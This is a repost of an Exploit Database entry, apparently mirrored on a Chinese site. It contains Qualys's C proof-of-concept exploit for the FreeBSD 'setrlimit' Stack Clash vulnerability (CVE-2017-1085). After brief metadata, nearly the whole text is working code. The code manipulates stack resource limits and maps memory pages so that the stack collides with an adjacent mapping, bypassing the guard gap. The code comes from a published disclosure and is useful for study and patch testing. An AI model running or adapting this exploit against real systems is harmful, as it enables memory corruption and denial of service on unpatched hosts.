FreeBSD – ‘setrlimit’ Stack Clash (PoC)

• Exploit Database
• 15 阅读

• 作者： Qualys Corporation
  日期： 2017-06-28
• 类别：

  • dos
  平台：

  • freebsd_x86
• 来源：https://www.exploit-db.com/exploits/42279/

• /*
   * FreeBSD_CVE-2017-1085.c
   * Copyright (C) 2017 Qualys, Inc.
   *
   * This program is free software: you can redistribute it and/or modify
   * it under the terms of the GNU General Public License as published by
   * the Free Software Foundation, either version 3 of the License, or
   * (at your option) any later version.
   *
   * This program is distributed in the hope that it will be useful,
   * but WITHOUT ANY WARRANTY; without even the implied warranty of
   * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.See the
   * GNU General Public License for more details.
   *
   * You should have received a copy of the GNU General Public License
   * along with this program.If not, see <http://www.gnu.org/licenses/>.
   */
  
  #include <stdint.h>
  #include <stdio.h>
  #include <stdlib.h>
  #include <sys/mman.h>
  #include <sys/resource.h>
  #include <sys/time.h>
  #include <unistd.h>
  
  #define die() do { \
  fprintf(stderr, "died in %s: %u\n", __func__, __LINE__); \
  exit(EXIT_FAILURE); \
  } while (0)
  
  int
  main(const int argc, char * const argv[])
  {
  static const struct rlimit core;
  if (setrlimit(RLIMIT_CORE, &core)) die();
  
  struct rlimit stack;
  if (getrlimit(RLIMIT_STACK, &stack)) die();
  if (stack.rlim_cur > stack.rlim_max / 3) {
  stack.rlim_cur = stack.rlim_max / 3;
  if (setrlimit(RLIMIT_STACK, &stack)) die();
  execve(*argv, argv, NULL);
  die();
  }
  char * prot_none = NULL;
  for (;;) {
  prot_none = mmap(NULL, 4096, PROT_NONE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
  if (prot_none == MAP_FAILED) die();
  if ((uintptr_t)&stack < (uintptr_t)prot_none) die();
  if ((uintptr_t)&stack - (uintptr_t)prot_none < stack.rlim_max / 3 * 2) break;
  }
  if (argc > 1) {
  stack.rlim_cur = stack.rlim_max;
  if (setrlimit(RLIMIT_STACK, &stack)) die();
  }
  *prot_none = 'A';
  printf("char at %p: %02x\n", prot_none, *prot_none);
  exit(EXIT_SUCCESS);
  }